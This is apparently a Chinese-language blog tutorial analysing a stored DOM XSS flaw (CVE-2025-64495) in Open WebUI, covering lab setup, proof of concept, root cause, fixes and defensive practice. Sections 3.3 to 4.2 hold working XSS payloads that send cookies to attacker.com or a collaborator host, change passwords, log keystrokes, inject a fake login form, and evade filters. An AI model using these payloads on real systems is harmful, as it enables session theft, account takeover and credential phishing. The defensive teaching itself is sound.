存储型DOM XSS漏洞深度剖析:从CVE-2025-64495看前端安全攻防

存储型DOM XSS漏洞深度剖析:从CVE-2025-64495看前端安全攻防
1. 项目概述一次典型的存储型DOM XSS漏洞深度剖析最近在安全社区里CVE-2025-64495这个编号被频繁提及它指向的是Open WebUI这个开源项目中的一个高危漏洞。Open WebUI作为当前热门的本地部署AI对话界面因其易用性和丰富的功能吸引了大量开发者和普通用户。而这个漏洞的发现恰好为我们提供了一个绝佳的案例来深入理解一种在现代化Web应用中越来越常见却又容易被忽视的攻击方式——存储型DOM XSS。简单来说这个漏洞允许攻击者将恶意脚本“种”在应用里任何访问特定页面的用户都会在不知不觉中执行这些脚本从而可能导致会话劫持、数据窃取等一系列严重后果。对于安全研究人员、Web开发者和运维人员而言透彻理解这个漏洞的成因、利用方式以及修复方案不仅是提升自身安全水位的关键也是构建更健壮应用的基础。接下来我将结合公开信息和我的分析经验带你一步步拆解这个漏洞从原理到实操再到防御让你不仅知道“是什么”更明白“为什么”以及“怎么办”。2. 漏洞核心原理与Open WebUI背景解析2.1 Open WebUI架构与风险点浅析Open WebUI是一个基于Web的、可本地部署的聊天机器人用户界面主要用于与大型语言模型如Ollama、OpenAI API兼容的模型进行交互。它的架构是典型的前后端分离模式前端使用现代JavaScript框架如Vue.js/React构建丰富的交互界面后端提供API服务。这种架构带来了良好的用户体验但也引入了典型的前端安全挑战尤其是对用户输入的处理和动态内容渲染。在Open WebUI中一个核心功能是用户与AI的对话。用户输入提示词PromptAI返回响应。为了提升用户体验Open WebUI提供了“以富文本形式插入提示词”Insert Prompt as Rich Text的功能。这个功能的初衷是好的它允许用户输入带格式的文本并在界面中更美观地展示。然而问题就出在对这个“富文本”的处理逻辑上。如果前端在接收到这些数据后未经充分净化Sanitization就直接通过innerHTML或类似的不安全方式插入到DOM中那么当数据中包含精心构造的HTML标签和JavaScript代码时浏览器就会将其当作有效的HTML和脚本执行从而引发跨站脚本攻击。2.2 存储型DOM XSS漏洞机制深度拆解要理解CVE-2025-64495我们需要厘清几个关键概念存储型XSS、DOM型XSS以及它们的结合。传统存储型XSS攻击者将恶意脚本提交到服务器如数据库、评论、用户资料当其他用户浏览包含该恶意数据的页面时脚本从服务器响应中返回并执行。其风险链条是用户输入 - 服务器存储 - 服务器响应 - 浏览器渲染执行。DOM型XSS恶意脚本的执行是由前端JavaScript代码操作DOM文档对象模型触发的不经过服务器端的渲染。攻击载荷可能存在于URL片段#之后的部分、本地存储或者来自服务器的数据但由前端JS不安全地写入DOM。其风险链条是数据来源URL/存储/API - 前端JS处理 - 不安全DOM操作 - 浏览器执行。CVE-2025-64495的混合形态这个漏洞是上述两者的结合。首先它是“存储型”的因为攻击者通过特定功能富文本提示词提交的恶意代码会被持久化存储在Open WebUI的后端可能是数据库或文件。其次它是“DOM型”的因为触发漏洞的关键环节在于前端JavaScript代码在渲染这些已存储的富文本数据时使用了不安全的DOM操作方法如innerHTML而没有进行恰当的上下文感知的编码或净化。具体到漏洞触发点当“Insert Prompt as Rich Text”功能开启时用户输入的提示词会被当作HTML处理。如果攻击者输入类似img srcx onerroralert(document.cookie)的字符串这个字符串会被存储。之后当任何用户包括攻击者自己或其他用户查看包含此条提示词的对话历史或相关页面时前端代码会从后端获取这条数据并直接通过innerHTML或等效方法插入到页面DOM中。浏览器在解析时遇到img标签会尝试加载srcx一个不存在的资源触发onerror事件从而执行其中的JavaScript代码alert(document.cookie)。这就完成了一次攻击。注意这里用alert只是概念验证。在实际攻击中攻击者会替换为窃取Cookie、发起进一步请求如修改用户设置、发送消息或重定向到钓鱼网站的恶意脚本。2.3 漏洞影响范围与严重性评估根据公开信息此漏洞影响Open WebUI版本 0.6.34。这意味着在0.6.34及之前的所有版本只要启用了富文本提示词功能就存在被利用的风险。严重性通常被评定为高危High Severity。理由如下攻击复杂度低利用方式直接无需复杂的交互或用户诱导除了需要启用一个特定功能。影响范围广一旦恶意提示词被存储所有能够查看该对话历史的用户都会受到影响可能导致大规模会话泄露。潜在危害大成功利用可导致会话劫持窃取用户的身份认证Cookie完全控制用户账户。数据泄露窃取对话历史、敏感信息。客户端攻击在用户浏览器中执行任意操作如发起未经授权的API请求、修改客户端数据。钓鱼攻击伪造登录弹窗诱骗用户输入凭证。权限需求攻击者通常需要一个能够创建或编辑提示词的账户权限。在公开或注册即可用的Open WebUI实例上风险较高。3. 漏洞环境搭建与验证分析3.1 实验环境准备为了在不危害任何生产系统的情况下深入理解漏洞搭建一个本地测试环境是最佳实践。你需要准备以下内容虚拟机或隔离的物理机确保测试活动被限制在封闭环境中。Docker与Docker ComposeOpen WebUI通常推荐使用Docker部署这能快速搭建一个包含漏洞版本的实例。有漏洞的Open WebUI版本我们需要部署一个0.6.34或更早的版本。可以通过修改Docker镜像标签或从GitHub拉取特定版本的代码来实现。浏览器开发者工具现代浏览器Chrome/Firefox的开发者工具是分析网络请求、调试JavaScript和观察DOM变化的利器。代理工具可选但推荐如Burp Suite或OWASP ZAP。它们可以拦截、查看和修改浏览器与服务器之间的HTTP/HTTPS流量对于理解数据流和构造攻击载荷至关重要。部署有漏洞的Open WebUI 假设我们使用Docker部署0.6.34版本。一个典型的命令可能如下具体请参考当时版本的官方文档docker run -d -p 3000:8080 --add-hosthost.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui ghcr.io/open-webui/open-webui:0.6.34这条命令会在本地3000端口启动一个Open WebUI服务。关键点在于镜像标签:0.6.34。实操心得在拉取Docker镜像前最好先到Docker Hub或GitHub Container Registry确认该版本镜像确实存在。有时最新漏洞的修复版本发布后旧版本镜像可能被标记或移除这时可能需要从源码构建。3.2 漏洞触发条件与功能确认启动服务后通过浏览器访问http://localhost:3000。完成初始账户注册和登录。确认版本在设置或关于页面确认当前运行的确实是0.6.34或更低版本。启用风险功能找到用户设置或对话设置。寻找名为 “Insert Prompt as Rich Text”、“Rich Text Input” 或类似描述的选项。确保这个功能被启用。这是漏洞触发的必要条件因为只有启用后前端才会将输入当作HTML处理并可能不安全地插入DOM。理解数据流打开浏览器开发者工具的“网络”(Network)面板开始一个新的对话。输入一些测试文本并发送。观察网络请求你会看到一个向/api/chat或类似端点发送的POST请求请求体里包含了你的消息。同时观察服务器返回的数据结构看看你的消息是以什么格式纯文本HTMLJSON中的某个字段返回给前端的。3.3 概念验证PoC构造与测试现在我们构造一个无害的概念验证Proof of Concept载荷来确认漏洞是否存在。步骤一构造基本PoC在聊天输入框尝试输入以下内容img src1 onerroralert(XSS)或者更简单的scriptalert(XSS)/script发送这条消息。步骤二观察与验证发送时注意请求体。如果功能正常启用你的输入可能被以HTML格式发送可能需要查看请求头Content-Type或请求体格式。接收时查看服务器返回的响应。你的消息字段内容是否原封不动地包含了HTML标签渲染时这是关键。在聊天记录区域你的消息是如何显示的如果漏洞存在你会看到一个弹窗显示“XSS”或者如果script标签被某些机制拦截img onerror可能会触发。更可能的情况是由于现代浏览器的XSS审计器或前端框架的一些基础防护简单的alert可能不会立即弹出。这时需要更隐蔽的测试。使用开发者工具检查DOM在聊天记录区域右键点击你发送的消息选择“检查”(Inspect)。在元素查看器中找到对应你消息的HTML元素。看它的innerHTML属性是否直接包含了你的img或script标签。如果标签被完整地插入到了DOM中即使没有弹窗也极有可能存在执行漏洞。步骤三使用更隐蔽的PoC由于直接弹窗可能被拦截我们可以用更隐蔽的方式验证代码执行。例如尝试触发一个网络请求到我们控制的服务器img srcx onerrorfetch(http://your-collaborator-server/leak?databtoa(document.cookie))将your-collaborator-server替换为一个你可以接收HTTP请求的服务器地址如使用Burp Suite的Collaborator功能或一个简单的HTTP日志服务。如果漏洞存在且脚本能执行你的服务器会收到一个带有Cookie信息的请求。注意事项在实际测试中务必使用你自己搭建的测试环境。切勿在未经授权的任何线上系统进行测试这是非法的。即使是本地测试也建议在虚拟机或完全隔离的网络中进行避免测试载荷意外外泄。4. 漏洞利用链的深度构造与实战演示4.1 从PoC到真实攻击载荷一个成功的概念验证只是第一步。攻击者会构造更具危害性的载荷。我们分析几种典型的利用场景场景一会话窃取Cookie Theft这是最常见的目的。攻击者构造载荷将用户的会话Cookie发送到攻击者控制的服务器。img srcx onerrorvar inew Image();i.srchttps://attacker.com/steal?cencodeURIComponent(document.cookie);当受害者查看包含此条恶意消息的对话时其浏览器会向attacker.com发起一个携带Cookie的GET请求。攻击者从服务器日志中即可获取Cookie然后便可在自己的浏览器中设置该Cookie冒充受害者身份登录。场景二发起恶意操作CSRF via XSS利用受害者浏览器中已存在的登录状态发起未经用户同意的操作。例如在Open WebUI中可能包括修改用户密码、删除对话、甚至以用户身份发送恶意消息。img srcx onerrorfetch(/api/user/change-password, {method:POST, headers:{Content-Type:application/json}, body:JSON.stringify({newPassword:hacked})});这段脚本会尝试向修改密码的API端点发送POST请求。由于请求是从受害者浏览器发往同一域名会自动携带认证Cookie因此很可能成功。场景三键盘记录与钓鱼注入更复杂的脚本持续监听用户的键盘输入或者动态地在页面上覆盖一个伪造的登录框诱骗用户输入敏感信息。script // 简单的键盘记录示例实际会更复杂 document.addEventListener(keydown, function(e) { fetch(https://attacker.com/log, {method:POST, body: e.key}); }); // 动态创建钓鱼表单 var fakeLogin document.createElement(div); fakeLogin.innerHTML h3Session Expired/h3input iduser placeholderUsernameinput idpass typepassword placeholderPasswordbutton onclicksubmitCreds()Login/button; fakeLogin.style.cssText position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);color:white;z-index:9999;padding-top:20%;text-align:center;; document.body.appendChild(fakeLogin); function submitCreds() { var u document.getElementById(user).value; var p document.getElementById(pass).value; fetch(https://attacker.com/phish, {method:POST, body: user${u}pass${p}}); fakeLogin.remove(); } /script4.2 绕过可能的防御机制在实际攻击中应用可能有一些基础的防御我们的载荷需要适应。HTML标签/属性过滤如果后端或前端对输入进行了简单的黑名单过滤如过滤script、onerror我们可以尝试大小写混淆ScRiPt、IMG oNeRrOr...使用不常见的标签和事件svg onloadalert(1)、body onpageshowalert(1)利用HTML实体编码如果过滤不递归解码可以尝试img srcx onerroralert(1)但浏览器可能不解析。使用JavaScript伪协议a hrefjavascript:alert(1)click/a但这通常需要用户点击。CSP内容安全策略如果服务器设置了严格的CSP如禁止内联脚本(unsafe-inline)和限制脚本来源(script-src)那么上述很多基于onerror或内联script的载荷会失效。这时需要更复杂的利用比如寻找允许的域名检查CSP策略中script-src是否包含某个CDN域名如cdnjs.cloudflare.com然后尝试注入一个指向该域名下恶意脚本的script src...标签。但这需要攻击者能控制该域名下的文件难度较大。利用不安全的CSP配置如果CSP配置了unsafe-eval可以尝试动态执行字符串如eval(alert(1))。前端框架的自动转义现代前端框架如React、Vue默认会对插值表达式进行HTML转义。但CVE-2025-64495发生在使用innerHTML或dangerouslySetInnerHTMLReact这类故意绕过转义的API上。攻击者需要做的就是找到这些不安全的API调用点。针对Open WebUI的特定测试 在测试环境中我们可以系统性地尝试各种载荷变体观察过滤行为。使用Burp Suite的Intruder功能加载一个XSS载荷字典对输入点进行模糊测试可以快速发现未被过滤的标签和事件组合。4.3 漏洞利用的持久化与传播存储型XSS的可怕之处在于其持久性。攻击者只需成功提交一次恶意载荷该载荷就会“潜伏”在服务器中。之后任何查看该对话的用户都会触发攻击。如果对话被分享或公开链接影响范围会进一步扩大。甚至管理员在查看用户报告或系统日志时也可能中招。这使得漏洞的危害从针对单个用户升级为可能影响整个用户群体。5. 漏洞根因分析与修复方案解读5.1 代码层面根因定位要彻底修复漏洞必须找到不安全的代码段。根据漏洞描述问题出在“Insert Prompt as Rich Text”功能相关的代码中。我们需要在Open WebUI的源代码仓库中搜索相关关键词。查找功能开关在代码中搜索“rich text”、“insertPromptAsRichText”等字符串找到控制这个功能的配置变量或组件属性。查找渲染函数搜索innerHTML、dangerouslySetInnerHTMLReact、v-htmlVue等不安全API的调用。重点关注处理聊天消息、提示词显示的组件文件。追踪数据流找到从后端API接收消息数据的函数跟踪数据是如何传递到渲染函数的。关键是要看数据在插入innerHTML之前是否经过了严格的净化处理。一个简化的漏洞代码模拟可能如下假设是React组件// 漏洞组件 - 不安全地使用dangerouslySetInnerHTML function MessageBubble({ content, isRichText }) { if (isRichText) { // 危险直接插入未净化的用户输入 return div dangerouslySetInnerHTML{{ __html: content }} /; } else { // 安全React默认会对插值进行转义 return div{content}/div; } } // 从后端获取的数据 const messageData { text: img srcx onerrorstealCookie(), isRichText: true }; // 渲染时恶意HTML被直接注入DOM MessageBubble content{messageData.text} isRichText{messageData.isRichText} /根因在于当isRichText为true时代码信任了来自后端的content字段认为它是安全的HTML而实际上它包含了未经验证的用户输入。5.2 官方修复方案剖析在漏洞公开后Open WebUI的开发团队会发布修复版本例如0.6.35。修复方案通常遵循以下原则之一或组合输入净化Sanitization在将用户输入存储到数据库或传递给前端之前使用严格的HTML净化库进行处理。这些库会移除或转义所有危险的标签和属性只保留安全的子集如b,i,u,p等。常用库对于JavaScript/Node.js生态DOMPurify是行业标准。它专门用于对HTML进行净化防止XSS。修复代码示例import DOMPurify from dompurify; // 在后端存储前或前端渲染前进行净化 const cleanHtml DOMPurify.sanitize(userInputHtml, { ALLOWED_TAGS: [b, i, u, p, br], ALLOWED_ATTR: [] }); // 然后才将 cleanHtml 用于 dangerouslySetInnerHTML输出编码Output Encoding在渲染点时根据上下文对数据进行编码。对于HTML上下文需要将特殊字符,,,,转换为HTML实体lt;,gt;,amp;,quot;,#x27;。但这种方法对于需要保留合法HTML的“富文本”场景不适用更适合纯文本插入。禁用不安全API或提供安全替代重新评估是否真的需要使用dangerouslySetInnerHTML。也许可以通过安全的组件库来渲染有限的富文本格式或者彻底关闭该功能除非有绝对必要且安全措施完备。内容安全策略CSP加固在HTTP响应头中设置严格的CSP作为最后一道防线。即使有XSS漏洞严格的CSP也能极大限制脚本执行的能力。Content-Security-Policy: default-src self; script-src self; object-src none; base-uri self;查看Open WebUI的修复提交GitHub commit我们可以具体学习他们是如何实施修复的。通常修复会集中在那个渲染消息的组件文件引入DOMPurify并在调用dangerouslySetInnerHTML前对内容进行净化。5.3 修复方案的实施与验证对于使用Open WebUI的用户或开发者修复漏洞的步骤是明确的立即升级将Open WebUI升级到已修复的版本0.6.35或更高。这是最直接有效的方法。docker pull ghcr.io/open-webui/open-webui:latest # 拉取最新稳定版 # 或指定修复版本 docker pull ghcr.io/open-webui/open-webui:0.6.35 docker-compose down docker-compose up -d # 重启服务临时缓解措施如果无法立即升级在管理界面中全局禁用“Insert Prompt as Rich Text”功能。这是最快速的缓解方式从根本上关闭了攻击面。在反向代理如Nginx或应用防火墙WAF层面对请求体中的相关参数进行过滤拦截包含明显XSS特征的HTML标签。但这是一种被动防御可能存在绕过。验证修复升级后重复之前的PoC测试。构造相同的恶意HTML输入发送并查看。现在预期的结果应该是恶意标签被显示为纯文本被转义例如页面上显示的是字符串img srcx onerroralert(1)而不是一个图片标签。或者危险的属性和标签被剥离只留下安全的文本格式。使用开发者工具检查DOM确认script、onerror等危险内容已不存在于innerHTML中。6. 漏洞挖掘与防御的通用方法论6.1 如何系统性挖掘此类漏洞CVE-2025-64495并非个例。作为开发者或安全研究员我们可以建立一套方法论来主动发现类似问题识别危险接收点Sink在代码审计或黑盒测试中重点关注所有将字符串动态写入DOM的JavaScript函数/属性。核心接收点清单element.innerHTML ...element.outerHTML ...document.write(...)document.writeln(...)eval(...)、setTimeout(...)、setInterval(...)第一个参数为字符串时location.href javascript:...、iframe srcjavascript:...框架特定APIReact的dangerouslySetInnerHTML Vue的v-html指令 Angular的bypassSecurityTrustHtml等。追踪数据源Source找到所有可能被用户控制并最终流向危险接收点的数据。包括URL参数 (location.search,location.hash)HTTP请求/响应头如Referer,User-Agent但需反射到页面window.namedocument.referrer客户端存储 (localStorage,sessionStorage,Cookie)后端API返回的数据这是存储型XSS的重点用户输入的表单字段、上传文件元数据等。构建污染流Taint Flow手动或使用工具如CodeQL SonarQube分析从“源”到“接收点”的数据流。检查在这条路径上数据是否经过了正确的净化或编码。测试验证黑盒测试在输入点提交各种XSS测试载荷观察输出点是否被执行或原样输出。使用自动化扫描器如Burp Suite的Active Scan辅助但手工测试不可替代。灰盒测试结合有限的代码知识如知道使用了某个富文本编辑器针对性地测试其输出处理逻辑。代码审计直接审查源代码寻找不安全的接收点和对用户输入的不当信任。6.2 前端安全编码最佳实践对于开发者预防此类漏洞的关键在于编码阶段就遵循安全原则原则绝不信任用户输入。所有来自客户端、第三方API、甚至数据库的数据在渲染到页面之前都应视为不可信的。根据输出上下文进行编码或净化HTML上下文使用安全的净化库如DOMPurify。如果只需要展示纯文本使用textContent而非innerHTML。HTML属性上下文对属性值进行HTML属性编码。例如将转换为quot;。JavaScript上下文将数据放入JS变量或脚本时进行严格的JavaScript编码。更好的做法是避免动态生成JS代码使用JSON.stringify处理数据。URL上下文对URL参数进行URL编码。使用安全框架提供的安全APIReact默认转义插值。必须使用dangerouslySetInnerHTML时务必先净化内容。Vue默认转义插值。使用v-html指令时务必先净化内容。Angular默认将值视为不安全并进行净化。使用bypassSecurityTrust系列方法时要极端谨慎。实施严格的CSP将CSP作为深度防御的重要一环。禁止内联脚本和样式仅允许从可信来源加载资源。启用其他安全HTTP头X-Content-Type-Options: nosniff防止MIME类型混淆攻击。X-Frame-Options: DENY或Content-Security-Policy: frame-ancestors none防止点击劫持。Referrer-Policy: strict-origin-when-cross-origin控制Referer信息泄露。6.3 自动化检测与监控在开发和运维流程中集成安全工具静态应用安全测试SAST在代码提交或CI/CD流水线中集成SAST工具如SonarQube, Checkmarx, Semgrep自动扫描源代码中的不安全模式。动态应用安全测试DAST定期对运行中的应用进行自动化漏洞扫描如使用OWASP ZAP, Burp Suite Enterprise。依赖项扫描使用工具如OWASP Dependency-Check, Snyk, GitHub Dependabot检查项目依赖的第三方库是否存在已知漏洞如CVE。运行时应用自我保护RASP在应用内部集成安全探针监控异常行为如尝试执行可疑的JavaScript代码片段。7. 从CVE-2025-64495延伸的思考与总结分析完CVE-2025-64495这个具体案例我最大的体会是安全漏洞往往诞生在“便利性”与“安全性”的权衡点上。Open WebUI的“富文本提示词”功能本意是提升用户体验但在实现时开发者可能过于信任前端框架或认为来自“自己后端”的数据是安全的从而忽略了数据源头用户输入的不可信本质。这种对数据流的信任边界模糊是很多安全问题的根源。在实际开发中我养成的一个习惯是每当我要将一段字符串插入到DOM、执行一段动态代码、或者进行一个系统调用时我都会停下来问自己三个问题第一这个数据的最终来源是哪里第二从来源到这里的整个路径上它有没有可能被篡改或污染第三我在这里处理它时是否采用了与目标上下文相匹配的最严格的安全措施对于DOM操作我的首选永远是textContent除非有强烈的富文本需求并且我会毫不犹豫地引入DOMPurify这样的专业库同时仔细配置其白名单。对于运维和用户来说这个漏洞再次强调了及时更新的重要性。开源软件漏洞从披露到利用的时间差可能很短。订阅项目的安全公告、使用自动化工具监控依赖版本、建立快速的补丁应用流程是抵御此类风险的关键。同时对于非必需的功能遵循最小权限原则在未充分评估风险前谨慎开启也是一种有效的风险控制手段。最后CVE-2025-64495虽然已经修复但它揭示的“存储型DOM XSS”模式却不会消失。随着Web应用越来越复杂前端承担了更多的渲染和逻辑类似的漏洞只会更多。作为技术人员我们需要将这次分析中学到的数据流追踪方法、漏洞验证技巧和安全编码原则应用到日常的开发和审计工作中才能构建出更值得用户信赖的应用。